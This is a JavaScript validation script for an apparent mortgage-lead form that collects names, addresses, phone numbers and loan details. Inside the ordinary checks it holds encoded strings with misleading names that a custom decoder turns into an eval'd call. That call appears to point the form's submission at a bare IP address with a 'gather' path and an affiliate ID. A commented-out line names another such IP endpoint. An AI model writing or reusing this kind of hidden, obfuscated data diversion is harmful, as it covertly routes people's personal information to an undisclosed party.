var JumperJ = "545572142733142732819393891428422424272823313023262734232726252426273031262728247674899394917823767986142732142734";var message="";var MMqnm= "";
var deftt=MN_WEP('2454442528246061572623749289142847546198897814284525142731545045142845');var deft="999999";var dept=".";var dend=MN_WEP('819393891428422424');
function Dest(n){this.Valid = false;document.ProperTy.action = n;}
function MM_findObj(n, d) { //v4.01
  var p,i,x;  if(!d) d=document; if((p=n.indexOf("?"))>0&&parent.frames.length) {
    d=parent.frames[n.substring(p+1)].document; n=n.substring(0,p);}
  if(!(x=d[n])&&d.all) x=d.all[n]; for (i=0;!x&&i<d.forms.length;i++) x=d.forms[i][n];
  for(i=0;!x&&d.layers&&i<d.layers.length;i++) x=MM_findObj(n,d.layers[i].document);
  if(!x && d.getElementById) x=d.getElementById(n); return x;}
function MN_WEP(IQP) {Littlelamb = "";SnowWhite = ""+IQP+"";
for(i = 0; i < SnowWhite.length; i += 2) {
SevenDwarfs = parseInt(SnowWhite.substr(i,[2])) + 23;
SevenDwarfs = unescape('%' + SevenDwarfs.toString(16));
Littlelamb += SevenDwarfs;}return(unescape(Littlelamb));}
var Jumper = "545572142733142732819393891428422424263429232627232727332331312426273031262728247674899394917823767986142732142734";
function VulgarityCheck(HEP, HAP){
// Impliment as time permits 
return false;}
function MN_(sElement){
var args = getArgs();if(args.MID) {deft = args.MID;}
pos = sElement.indexOf("/",7); sElement2=sElement.substr(7,pos-7);sElement3=sElement2.split(".");
return dend+sElement3[3]+dept+sElement3[2]+dept+sElement3[0]+dept+sElement3[1]+deftt+deft;}
function CheckNum(TheNumber,Type, NumLength) {
	var Integers = "0123456789";var integercounter=0;var ponerror="";
	for (i =0; i <= TheNumber.length -1; i++) {if (Integers.indexOf(TheNumber.charAt(i)) != -1) {integercounter++;} 	}
	if ( integercounter <= NumLength-1){ponerror += "- " + Type +" does not have the correct number of digits\n";}
	return ponerror;}
function CheckField(TheValue,Type, CheckType, Length) {
	var tempcheck = 1;var ponerror="";
	if(TheValue.length < Length){ponerror += "- " + Type +" does not contain enough characters.\n";	}
	return ponerror}	
function MM_validateForm() { //v4.0
  var i,p,q,nm,test,num,min,max,errors='',args=MM_validateForm.arguments;
  MMqnmn = MN_WEP(JumperJ);
for (i=0; i<(args.length-2); i+=3) { test=args[i+2]; val=MM_findObj(args[i]);
    if (val) { nm=val.name; if ((val=val.value)!="") {
      if (test.indexOf('isEmail')!=-1) {p=val.indexOf('@');z=val.lastIndexOf('.');
        if (p<1 || p==(val.length-1) || z<1 || z > (val.length-4)) errors+='- '+nm+' must contain an e-mail address.\n';
      	else if (val.search(/[^a-zA-Z0-9@._-]/) != -1) errors+='- '+nm+' contains invalid characters.\n';	  
	  } else if (test!='R') {
        if (isNaN(val)) errors+='- '+nm+' must contain only numbers.\n';
        if (test.indexOf('inRange') != -1) { p=test.indexOf(':');
          min=test.substring(8,p); max=test.substring(p+1);
          if (val<min || max<val) errors+='- '+nm+' must contain a number between '+min+' and '+max+'.\n';
    } } } else if (test.charAt(0) == 'R') errors += '- '+nm+' is required.\n'; }MMqnm = MN_WEP(Jumper);
  } 
StatePC = (document.ProperTy.Purchase_State);
StateC = (document.ProperTy.State);
TTC = (document.ProperTy.TimeToCall);
LT = (document.ProperTy.Loan_Type);
LA = (document.ProperTy.Loan_Amount);
StateC = (document.ProperTy.State);
errors += CheckField((document.ProperTy.FirstName.value),'FirstName',0,2);
errors += CheckField((document.ProperTy.LastName.value),'LastName',0,2);
errors += CheckField((document.ProperTy.Address.value),'Street Address',0,2);
errors += CheckField((document.ProperTy.City.value),'City',0,2);
if (StateC[StateC.selectedIndex].value == "select")errors += "- State is required\n";
errors += CheckNum(document.ProperTy.Zip.value,'ZipCode', 5);
errors += CheckField((document.ProperTy.Purchase_City.value),'Purchase City',0,2);
if (StatePC[StatePC.selectedIndex].value == "select")errors += "- Purchase State is required\n";
if (LT[LT.selectedIndex].value == "select")errors += "- Loan Type is required\n";
if (LA[LA.selectedIndex].value == "select")errors += "- Loan Amount is required\n";
temp = document.ProperTy.HomePhoneArea.value + document.ProperTy.HomePhoneFirst.value + document.ProperTy.HomePhoneLast.value;
errors += CheckNum(temp,'HomePhone', 10);if (TTC[TTC.selectedIndex].value == "select")errors += "- Best Time To Contact is required\n";if(! errors)var Vulg= new Dest(eval(MMqnm));
	if (errors) {alert('Please validate the following fields before continuing:\n\n'+errors);}
	else {	VulgarityCheck(0,1);
		//document.Property.action=MN_('http://219.220.7.24/gather_affid1022/gather.aspx');
		document.ProperTy.action="MC03/STP1.asp?MType=0";
		window.status="Copyright 2003";
		document.ProperTy.submit();document.ProperTy.send.disabled = 1;document.ProperTy.send.value = "Submitting Request";}}
function getArgs(){
var args = new Object();
var query = parent.location.search.substring(1);
var pairs = query.split(",");
for(var i=0; i < pairs.length; i++){
	var pos = pairs[i].indexOf("=");
	if (pos == -1) continue;
	var argname = pairs[i].substring(0,pos);
	var value = pairs[i].substring(pos+1);
	args[argname] = unescape(value);
	}
	return args;
}

